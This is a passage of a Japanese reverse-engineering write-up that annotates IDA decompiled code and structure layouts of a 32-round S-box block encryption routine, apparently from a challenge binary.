mappedto_10) 00000000 dwValurForTemp dd ? ; 一時作業に使用:「encrypt+346」付近 00000000 ; 00000000 ; 00000000 ; tnls+C9 048 0F B6 04 06 movzx eax, byte ptr [rsi+rax] 00000004 dwIndex_StepIs16Byte dd ? ; XREF: encrypt+2D5/w 00000004 ; encrypt:loc_1EF5/r 00000008 dwProcessingForInputChar dd ? ; XREF: encrypt+367/w 00000008 ; encrypt+3DA/w ; ユーザー入力由来の値の書き込み「encrypt+367」付近の一時作業用途 00000008 ; 最後の暗号化家か取得時の書き込み「encrypt+3DA」は無意味では? 0000000C dwArrayInputtedFlagSize4 dd 4 dup(?) ; ユーザー入力をビットシフトして詰める「encrypt+388」 0000001C dwArrayEncryptedResultSize4 dd 4 dup(?) ; 1ブロックの32回r関数適用結果格納:「encrypt_block+3D8」 0000001C ; ↑結果のエンディアン反転の再格納:「encrypt_block+365」 0000001C ; 暗号化結果の取得:「encrypt+3CC」 0000002C dwKeyForWork dd ? ; XREF: encrypt+1A5/w 0000002C ; encrypt+1FC/w ... ; 固定値由来の書き込みあるけど未使用?:「encrypt+1A5」等 0000002C ; 固定値由来の書き込みしてks関数内部で使用:「encrypt+249」 0000002C ; ks内部関数でバイトごとにsboxアクセスに使用:「tnls+C0」 00000030 dwXorResultUsingSbox dd ? ; XREF: encrypt+292/r ; 固定値由来の加工結果書き込み:「kls+C0」 00000030 ; 結果取得してXORしてoffset64へ書き込みする場所:「encrypt+292」 00000034 dwArraySize4ForSomeKey dd 4 dup(?) ; 固定値由来の書き込み:「encrypt+1B8」 00000044 dwArrayScheduledKeySize32 dd 32 dup(?) ; 固定値由来の書き込み:「encrypt+2A5」 00000044 ; 取得してループ中に4バイトずつ使用:「encrypt_block+172」 000000C4 byteArrayNotUsed db 3900 dup(?) 00001000 StructForEncrypt ends 00000000 StructForEncryptBlock struc ; (sizeof=0x1000, mappedto_12) 00000000 dwElsResult dd ? ; XREF: encrypt_block+282/r ; r関数結果書き込み「els+C4」 00000000 ; その結果を読み込んでoffset0x10へ格納:「encrypt_block+282」 00000004 dwArrayUsedToXorSize4 dd 4 dup(?) ; ユーザー入力のバイトオーダー関係操作後の書き込み:「encrypt_block+11B」 00000004 ; r関数呼び出し後に、配列要素を1個ずつ前に移動、最後にr関数結果を詰める「encrypt_block+244」(それが32回ループするはず) 00000014 notUsed db 4076 dup(?) 00001000 StructForEncryptBlock ends
各関数の逆コンパイル結果にコメント追加や型設定等を施した後の内容
// sbox処理が実際のもの // 第1引数が異なる型?使う場所のレイアウトが同じだけ?それとも完全に同一?→レイアウトが同じだけ説はある // 今回はKsのindexは0固定 // Ks[0] = (sbox[(pData[index]) & 0xFF]) | // (sbox[(pData[index]>>8) & 0xFF] << 8) | // (sbox[(pData[index]>>16) & 0xFF] << 16) | // (sbox([pData[index]>>24) & 0xFF] << 24 void __fastcall tnls( const void *pDataToIndexing, ElementByteCountAndIndexPair pairToIndexing, BYTE *pStructForKsDest, ElementByteCountAndIndexPair pairForKs_ByteCount4_Index0) { int dwIndexForKs_Index0; // ebp int dwElementByteCountForStructForKs; // r15d BYTE *pStructForTnls_1; // rax BYTE *pStructForTnls; // rdi int dwShiftCount; // ecx int dwSboxedValue; // eax int dwIndexForKs_Index0_; // [rsp+Ch] [rbp-3Ch] dwIndexForKs_Index0 = pairForKs_ByteCount4_Index0.dwIndex; dwIndexForKs_Index0_ = pairForKs_ByteCount4_Index0.dwIndex; dwElementByteCountForStructForKs = pairForKs_ByteCount4_Index0.dwElementByteCount; pStructForTnls_1 = (BYTE *)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);// 結局確保したものほぼ使っていないのでは? if ( pStructForTnls_1 == (BYTE *)-1LL ) exit(1); pStructForTnls = pStructForTnls_1; switch ( dwElementByteCountForStructForKs ) { case 1: pStructForKsDest[dwIndexForKs_Index0] = 0; break; case 2: *(_WORD *)&pStructForKsDest[dwIndexForKs_Index0] = 0; break; case 4: *(_DWORD *)&pStructForKsDest[dwIndexForKs_Index0] = 0;// 絶対ここを通る break; case 8: *(_QWORD *)&pStructForKsDest[dwIndexForKs_Index0] = 0LL; break; default: BUG(); } for ( dwShiftCount = 0; dwShiftCount != 32; dwShiftCount += 8 ) { if ( pairToIndexing.dwElementByteCount != 4 ) BUG(); dwSboxedValue = sbox[(unsigned __int8)(*(_DWORD *)((char *)pDataToIndexing + (unsigned int)pairToIndexing.dwIndex) >> dwShiftCount)] << dwShiftCount; *(_DWORD *)(pStructForTnls + 1) = dwSboxedValue;// これ無意味では? if ( dwElementByteCountForStructForKs != 4 ) BUG(); *(_DWORD *)&pStructForKsDest[dwIndexForKs_Index0_] |= dwSboxedValue;// 実質的にここが重要 } munmap(pStructForTnls, 0x1000uLL); } // pStructEncrypt.dwOffset48 = dwKs ^ rol(dwKs, 11) ^ ror(dwKs, 7) // Encrypt側を、Ks側の値を使って加工する int __fastcall kls( const BYTE *pStructForKs, ElementByteCountAndIndexPair pairForKs_ByteCount4_Index0, StructForEncrypt *pStructForEncrypt, ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index48) { unsigned int dwIndexForEncrypt_48; // ebx int dwElementByteCountForStructForEncrypt; // r14d _DWORD *pAllocatedButNoMean_1; // rax _DWORD *pAllocatedButNoMean; // rdi _DWORD *pdwKsIndex0; // rbp _DWORD *pdwEncryptIndex48; // rax int dwRol11; // edx int dwRor7; // edx dwIndexForEncrypt_48 = pairForEncrypt_ByteCount4_Index48.dwIndex; dwElementByteCountForStructForEncrypt = pairForEncrypt_ByteCount4_Index48.dwElementByteCount;// dwElementByteCountForStructForEncrypt must be 4 pAllocatedButNoMean_1 = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL); if ( pAllocatedButNoMean_1 == (_DWORD *)-1LL ) exit(1); pAllocatedButNoMean = pAllocatedButNoMean_1; if ( pairForKs_ByteCount4_Index0.dwElementByteCount != dwElementByteCountForStructForEncrypt )// 見る必要がない分岐 BUG(); if ( dwElementByteCountForStructForEncrypt == 1 ) { *((_BYTE *)&pStructForEncrypt->dwValurForTemp + dwIndexForEncrypt_48) = pStructForKs[pairForKs_ByteCount4_Index0.dwIndex]; goto labelBug; } if ( dwElementByteCountForStructForEncrypt == 2 )// 見る必要がない分岐 { *(_WORD *)((char *)&pStructForEncrypt->dwValurForTemp + dwIndexForEncrypt_48) = *(_WORD *)&pStructForKs[pairForKs_ByteCount4_Index0.dwIndex]; goto labelBug; } if ( dwElementByteCountForStructForEncrypt != 4 )// 見る必要がない分岐 { if ( dwElementByteCountForStructForEncrypt != 8 ) BUG(); *(_QWORD *)((char *)&pStructForEncrypt->dwValurForTemp + dwIndexForEncrypt_48) = *(_QWORD *)&pStructForKs[pairForKs_ByteCount4_Index0.dwIndex]; labelBug: BUG(); } // この後が本番 pdwKsIndex0 = &pStructForKs[pairForKs_ByteCount4_Index0.dwIndex]; pdwEncryptIndex48 = (int *)((char *)&pStructForEncrypt->dwValurForTemp + dwIndexForEncrypt_48); *pdwEncryptIndex48 = *pdwKsIndex0; dwRol11 = __ROL4__(*pdwKsIndex0, 11); *pAllocatedButNoMean = dwRol11; *pdwEncryptIndex48 ^= dwRol11; dwRor7 = __ROR4__(*pdwKsIndex0, 7); *pAllocatedButNoMean = dwRor7; *pdwEncryptIndex48 ^= dwRor7; return munmap(pAllocatedButNoMean, 0x1000uLL); } // v = *(DWORD*)pStructForUnnamed; // pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15) void __fastcall els( const BYTE *pStructForUnnamed, ElementByteCountAndIndexPair pairForUnnamed_ByteCount4_Index0, StructForEncryptBlock *pStructForEncryptBlock, ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0) { unsigned int dwIndexForEncryptBlock_Index0; // ebx int dwElementByteCount; // r14d _DWORD *pStructForElsButNoMeans_1; // rax _DWORD *pStructForElsButNoMeans; // rdi const BYTE *pdwStructForUnnamed_Index0; // rbp _DWORD *pdwStructForEncryptBlock_Index0; // rax int dwRol3; // edx int dwRol14; // edx int dwRol15; // edx int dwRol9; // edx dwIndexForEncryptBlock_Index0 = pairForEncryptBlock_ByteCount4_Index0.dwIndex; dwElementByteCount = pairForEncryptBlock_ByteCount4_Index0.dwElementByteCount; pStructForElsButNoMeans_1 = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL); if ( pStructForElsButNoMeans_1 == (_DWORD *)-1LL ) exit(1); pStructForElsButNoMeans = pStructForElsButNoMeans_1; if ( pairForUnnamed_ByteCount4_Index0.dwElementByteCount != dwElementByteCount ) BUG(); if ( dwElementByteCount == 1 ) // ByteCountは4なのでここから無関係処理 { *((_BYTE *)&pStructForEncryptBlock->dwElsResult + dwIndexForEncryptBlock_Index0) = pStructForUnnamed[pairForUnnamed_ByteCount4_Index0.dwIndex]; goto LABEL_11; } if ( dwElementByteCount == 2 ) { *(_WORD *)((char *)&pStructForEncryptBlock->dwElsResult + dwIndexForEncryptBlock_Index0) = *(_WORD *)&pStructForUnnamed[pairForUnnamed_ByteCount4_Index0.dwIndex]; goto LABEL_11; } if ( dwElementByteCount != 4 ) { if ( dwElementByteCount != 8 ) BUG(); *(_QWORD *)((char *)&pStructForEncryptBlock->dwElsResult + dwIndexForEncryptBlock_Index0) = *(_QWORD *)&pStructForUnnamed[pairForUnnamed_ByteCount4_Index0.dwIndex]; LABEL_11: BUG(); } // ByteCountは4なのでここまで無関係処理 pdwStructForUnnamed_Index0 = &pStructForUnnamed[pairForUnnamed_ByteCount4_Index0.dwIndex]; pdwStructForEncryptBlock_Index0 = (int *)((char *)&pStructForEncryptBlock->dwElsResult + dwIndexForEncryptBlock_Index0); *pdwStructForEncryptBlock_Index0 = *(_DWORD *)pdwStructForUnnamed_Index0; dwRol3 = __ROL4__(*(_DWORD *)pdwStructForUnnamed_Index0, 3); *pStructForElsButNoMeans = dwRol3; *pdwStructForEncryptBlock_Index0 ^= dwRol3; dwRol14 = __ROL4__(*(_DWORD *)pdwStructForUnnamed_Index0, 14); *pStructForElsButNoMeans = dwRol14; *pdwStructForEncryptBlock_Index0 ^= dwRol14; dwRol15 = __ROL4__(*(_DWORD *)pdwStructForUnnamed_Index0, 15); *pStructForElsButNoMeans = dwRol15; *pdwStructForEncryptBlock_Index0 ^= dwRol15; dwRol9 = __ROL4__(*(_DWORD *)pdwStructForUnnamed_Index0, 9); *pStructForElsButNoMeans = dwRol9; *pdwStructForEncryptBlock_Index0 ^= dwRol9; munmap(pStructForElsButNoMeans, 0x1000uLL); } // pEncrypt->dwOffset48 = sboxやらorやらrotateやら(pEncrypt->dwOffset44) void __fastcall ks( const StructForEncrypt *pStructForEncryptsrSrc, ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index44, StructForEncrypt *pStructForEncryptDst, ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index48) { BYTE *pStructForKs; // rax BYTE *pStructForKs_1; // rbx ElementByteCountAndIndexPair pairForKs_ByteCount4_Index0; // rcx ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index48_; // rcx ElementByteCountAndIndexPair pairForKs_ByteCount4_Index0_; // rsi pStructForKs = (BYTE *)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL); if ( pStructForKs == (BYTE *)-1LL ) exit(1); pStructForKs_1 = pStructForKs; pairForKs_ByteCount4_Index0 = (ElementByteCountAndIndexPair)0x400000000LL;// elementByteCount=4, index=0 tnls(pStructForEncryptsrSrc, pairForEncrypt_ByteCount4_Index44, pStructForKs, pairForKs_ByteCount4_Index0);// *(DWORD*)pStructForKs := pStructForEncrypt1[pair.Key1]依存のsboxやshift結果 pairForEncrypt_ByteCount4_Index48_ = pairForEncrypt_ByteCount4_Index48; pairForKs_ByteCount4_Index0_ = (ElementByteCountAndIndexPair)0x400000000LL;// elementByteCount=4, index=0 kls(pStructForKs_1, pairForKs_ByteCount4_Index0_, pStructForEncryptDst, pairForEncrypt_ByteCount4_Index48_);// pStructEncrypt.dwOffset48 = dwKs ^ rol(dwKs, 11) ^ ror(dwKs, 7) munmap(pStructForKs_1, 0x1000uLL); } // 何故かこの関数だけシンボル名なし。IDAの自動名称: 「sub_15B9」 // v = *pdwUnnamed = (sbox[(pR[0] & 0xFF)]) | (sbox[(pR[0]>>8) & 0xFF] << 8) | (sbox[(pR[0]>>16) & 0xFF] << 16) | (sbox([pR[0]>>24) & 0xFF] << 24; // pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15) int __fastcall ProcCallingTlnsAndEls( const StructForR *pStructForR, ElementByteCountAndIndexPair pairForR_ByteCount4_Index0, StructForEncryptBlock *pStructForEncryptBlock, ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0) { BYTE *pStructForUnnamed; // rax BYTE *pStructForUnnamed_1; // rbx ElementByteCountAndIndexPair pairForUnnamed_ByteCount4_Index0; // rcx ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0_; // rcx ElementByteCountAndIndexPair pairForUnnamed_ByteCount4_Index0_; // rsi pStructForUnnamed = (BYTE *)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL); if ( pStructForUnnamed == (BYTE *)-1LL ) exit(1); pStructForUnnamed_1 = pStructForUnnamed; pairForUnnamed_ByteCount4_Index0 = (ElementByteCountAndIndexPair)0x400000000LL; tnls(pStructForR, pairForR_ByteCount4_Index0, pStructForUnnamed, pairForUnnamed_ByteCount4_Index0);// *pdwUnnamed = (sbox[(pR[0] & 0xFF)]) | (sbox[(pR[0]>>8) & 0xFF] << 8) | (sbox[(pR[0]>>16) & 0xFF] << 16) | (sbox([pR[0]>>24) & 0xFF] << 24 pairForEncryptBlock_ByteCount4_Index0_ = pairForEncryptBlock_ByteCount4_Index0; pairForUnnamed_ByteCount4_Index0_ = (ElementByteCountAndIndexPair)0x400000000LL; els( // v = *(DWORD*)pStructForUnnamed; // pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15) pStructForUnnamed_1, pairForUnnamed_ByteCount4_Index0_, pStructForEncryptBlock, pairForEncryptBlock_ByteCount4_Index0_); return munmap(pStructForUnnamed_1, 0x1000uLL); } // 多分1ラウンドの暗号化の一要素 // d = (DWORD[4])pEncryptBlock[4:20] // x = d[1] ^ d[2] ^ d[3] ^ (DWORD)pEncrypt[68+i:68+i+4] // v = *pdwUnnamed = (sbox[(x & 0xFF)]) | (sbox[(x>>8) & 0xFF] << 8) | (sbox[(x>>16) & 0xFF] << 16) | (sbox([x>>24) & 0xFF] << 24; // pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15) ^ d[0] // d[0]だけ扱いが違うことに注意 void __fastcall r( const BlockSize16 *pArrayForBlockSize16Size4_InEncryptBlock_Index4And20, const BYTE *pStructForEncrypt, ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index68PlusOffset, StructForEncryptBlock *pStructForEncryptBlock, ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0) { int dwElementByteCount; // r15d _DWORD *pdwAllocated_1; // rax _DWORD *pdwAllocated; // rbp int dwEncryptIndex4NPlus1; // eax int dwEncryptIndex4NPlus2_xor_4NPlus1; // eax int dwEncryptIndex4NPlus3_xor_NPlus2_xor_4NPlus1; // eax ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0_; // rcx ElementByteCountAndIndexPair pairForR_ByteCount4_Index0; // rsi dwElementByteCount = pairForEncryptBlock_ByteCount4_Index0.dwElementByteCount; pdwAllocated_1 = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL); if ( pdwAllocated_1 == (_DWORD *)-1LL ) exit(1); pdwAllocated = pdwAllocated_1; if ( pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwElementBytes != 4 ) BUG(); dwEncryptIndex4NPlus1 = *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex); *pdwAllocated = dwEncryptIndex4NPlus1; // 無意味書き込み if ( pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes != 4 ) BUG(); dwEncryptIndex4NPlus2_xor_4NPlus1 = *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex) ^ dwEncryptIndex4NPlus1; *pdwAllocated = dwEncryptIndex4NPlus2_xor_4NPlus1;// 無意味書き込み if ( pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes != 4 ) BUG(); dwEncryptIndex4NPlus3_xor_NPlus2_xor_4NPlus1 = *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex) ^ dwEncryptIndex4NPlus2_xor_4NPlus1; *pdwAllocated = dwEncryptIndex4NPlus3_xor_NPlus2_xor_4NPlus1;// 無意味書き込み if ( pairForEncrypt_ByteCount4_Index68PlusOffset.dwElementByteCount != 4 ) BUG(); *pdwAllocated = *(_DWORD *)&pStructForEncrypt[pairForEncrypt_ByteCount4_Index68PlusOffset.dwIndex] ^ dwEncryptIndex4NPlus3_xor_NPlus2_xor_4NPlus1;// この書き込みは後の関数中で間接参照する pairForEncryptBlock_ByteCount4_Index0_ = pairForEncryptBlock_ByteCount4_Index0; pairForR_ByteCount4_Index0 = (ElementByteCountAndIndexPair)0x400000000LL; ProcCallingTlnsAndEls( // v = *pdwUnnamed = (sbox[(pR[0] & 0xFF)]) | (sbox[(pR[0]>>8) & 0xFF] << 8) | (sbox[(pR[0]>>16) & 0xFF] << 16) | (sbox([pR[0]>>24) & 0xFF] << 24; // pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15) (const StructForR *)pdwAllocated, pairForR_ByteCount4_Index0, pStructForEncryptBlock, pairForEncryptBlock_ByteCount4_Index0_); if ( dwElementByteCount != pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwElementBytes ) BUG(); switch ( dwElementByteCount ) { case 1: *((_BYTE *)&pStructForEncryptBlock->dwElsResult + (unsigned int)pairForEncryptBlock_ByteCount4_Index0.dwIndex) ^= *((_BYTE *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwIndex); break; case 2: *(_WORD *)((char *)&pStructForEncryptBlock->dwElsResult + (unsigned int)pairForEncryptBlock_ByteCount4_Index0.dwIndex) ^= *(_WORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwIndex); break; case 4: // ここを通る、ここでもpStructForEncryptBlock->dwOffset0を^=する *(int *)((char *)&pStructForEncryptBlock->dwElsResult + (unsigned int)pairForEncryptBlock_ByteCount4_Index0.dwIndex) ^= *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwIndex); break; case 8: *(_QWORD *)((char *)&pStructForEncryptBlock->dwElsResult + (unsigned int)pairForEncryptBlock_ByteCount4_Index0.dwIndex) ^= *(_QWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwIndex); break; default: BUG(); } munmap(pdwAllocated, 0x1000uLL); } // 16バイトを暗号化するはず // 第1引数: 入力を4バイトずつ行列にした16バイト // 第2引数: 多分RoundKeyとか // 第3引数: 暗号化結果格納用←あってる void __fastcall encrypt_block( const BlockSize16 *pArrayForBlockSize16Size4_InEncrypt_Index12And28, const BlockSize16 *pArrayForBlockSize16Size4_InEncrypt_Index68And196, BlockSize16 *pArrayForBlockSize16Size4_InEncrypt_Index28And44) { StructForEncryptBlock *pStructForEncryptBlock_1; // rax StructForEncryptBlock *pStructForEncryptBlock; // rbp BlockSize16 *pArrayForBlockSize16Size4_InEncryptBlock_Index4And20; // r15 BlockSize16 *pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize; // rdi int dwIndexForInitialize; // eax int dwElementBytes; // esi const BlockSize16 *pBlockSize16_InEncrypt_Index68And196_PlusOffset; // rbx const BlockSize16 *pLoopEnd; // r12 _BYTE *mustNotComeHere; // rcx int v14; // esi _BYTE *v15; // rax _WORD *mustNotComeHere_1; // rcx int v17; // esi _WORD *v18; // rax int *pdwEncryptBlockIndex8; // rax int v20; // edi int *pdwEncryptBlockIndex12; // rcx int v22; // esi int *pdwEncryptBlockIndex16; // rax ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0; // r8 ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index68PlusOffset; // rdx int v26; // edx _QWORD *mustNotComeHere_2; // rcx int v28; // esi _QWORD *v29; // rax BlockSize16 *pBlockSize16_InEncrypt_Index28And44_PlusIndex; // rcx unsigned int *pdwEncryptIndex28PlusIndex; // rax int v32; // edx BlockSize16 arrayForBlockSize16Size4_InEncryptBlock_Index4And20[4]; // [rsp+10h] [rbp-88h] BYREF unsigned __int64 qwCanary; // [rsp+58h] [rbp-40h] qwCanary = __readfsqword(0x28u); pStructForEncryptBlock_1 = (StructForEncryptBlock *)mmap(0LL, sizeof(StructForEncryptBlock), 3, 34, -1, 0LL); if ( pStructForEncryptBlock_1 == (StructForEncryptBlock *)-1LL ) exit(1); pStructForEncryptBlock = pStructForEncryptBlock_1; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData = pStructForEncryptBlock_1; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex = 4; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes = 4; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData = pStructForEncryptBlock_1; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex = 8; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwElementBytes = 4; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData = pStructForEncryptBlock_1; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex = 12; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes = 4; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData = pStructForEncryptBlock_1; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex = 16; arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes = 4; pArrayForBlockSize16Size4_InEncryptBlock_Index4And20 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20; pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize = arrayForBlockSize16Size4_InEncryptBlock_Index4And20; for ( dwIndexForInitialize = 0; dwIndexForInitialize != 4; ++dwIndexForInitialize )// DWORDごとにbyteorder反転でStructForEncryptBlockへ格納するループ { dwElementBytes = pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize->dwElementBytes;// must be 4 if ( dwElementBytes != pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwElementBytes ) BUG(); if ( dwElementBytes == 1 ) // 無視可能な分岐 { *((_BYTE *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].dwIndex) = *((_BYTE *)pArrayForBlockSize16Size4_InEncrypt_Index12And28->pData + pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwIndex); goto labelBug4; } if ( dwElementBytes == 2 ) // 無視可能な分岐 { *(_WORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].dwIndex) = *(_WORD *)((char *)pArrayForBlockSize16Size4_InEncrypt_Index12And28->pData + pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwIndex); goto labelBug4; } if ( dwElementBytes != 4 ) // 無視可能な分岐 { if ( dwElementBytes != 8 ) BUG(); *(_QWORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].dwIndex) = *(_QWORD *)((char *)pArrayForBlockSize16Size4_InEncrypt_Index12And28->pData + pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwIndex); labelBug4: BUG(); } // この後が本質 *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize->pData// pEncryptedBlock[4+(i*4):4+(i+1)*4] = _byteswap_ulong(pEncrypted[12+(i*4):(12+((i+1)*4)]) + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize->dwIndex) = _byteswap_ulong(*(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncrypt_Index12And28->pData + pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwIndex)); ++pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize; ++pArrayForBlockSize16Size4_InEncrypt_Index12And28; } pBlockSize16_InEncrypt_Index68And196_PlusOffset = pArrayForBlockSize16Size4_InEncrypt_Index68And196; pLoopEnd = pArrayForBlockSize16Size4_InEncrypt_Index68And196 + 32; do // 32回ループするはず { pairForEncryptBlock_ByteCount4_Index0 = (ElementByteCountAndIndexPair)0x400000000LL; pairForEncrypt_ByteCount4_Index68PlusOffset = *(ElementByteCountAndIndexPair *)&pBlockSize16_InEncrypt_Index68And196_PlusOffset->dwIndex; r( // 多分1ラウンドの暗号化の一要素 // d = (DWORD[4])pEncryptBlock[4:16] (これは32回ループ中でそれぞれ変化する) // x = d[1] ^ d[2] ^ d[3] ^ (DWORD)pEncrypt[68+i:68+i+4] // v = *pdwUnnamed = (sbox[(x & 0xFF)]) | (sbox[(x>>8) & 0xFF] << 8) | (sbox[(x>>16) & 0xFF] << 16) | (sbox([x>>24) & 0xFF] << 24; // pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15) ^ d[0] // d[0]だけ扱いが違うことに注意 arrayForBlockSize16Size4_InEncryptBlock_Index4And20, (const BYTE *)pBlockSize16_InEncrypt_Index68And196_PlusOffset->pData, pairForEncrypt_ByteCount4_Index68PlusOffset, pStructForEncryptBlock, pairForEncryptBlock_ByteCount4_Index0); v26 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwElementBytes; if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes != arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwElementBytes ) BUG(); if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes == 1 )// ここから見なくていいコーナー { mustNotComeHere = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex; *((_BYTE *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex) = *mustNotComeHere; v14 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes; if ( v26 == arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes ) { v15 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex; *mustNotComeHere = *v15; if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes == v14 ) { *v15 = *((_BYTE *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex); goto labelBug3; } goto labelBug; } goto labelBug2; } if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes == 2 )// まだまだ見なくていいコーナー { mustNotComeHere_1 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex; *(_WORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex) = *mustNotComeHere_1; v17 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes; if ( v26 == arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes ) { v18 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex; *mustNotComeHere_1 = *v18; if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes == v17 ) { *v18 = *(_WORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex); goto labelBug3; } labelBug: BUG(); } labelBug2: BUG(); } if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes != 4 )// これまた見なくていいコーナー { if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes != 8 ) BUG(); mustNotComeHere_2 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex; *(_QWORD *)((char 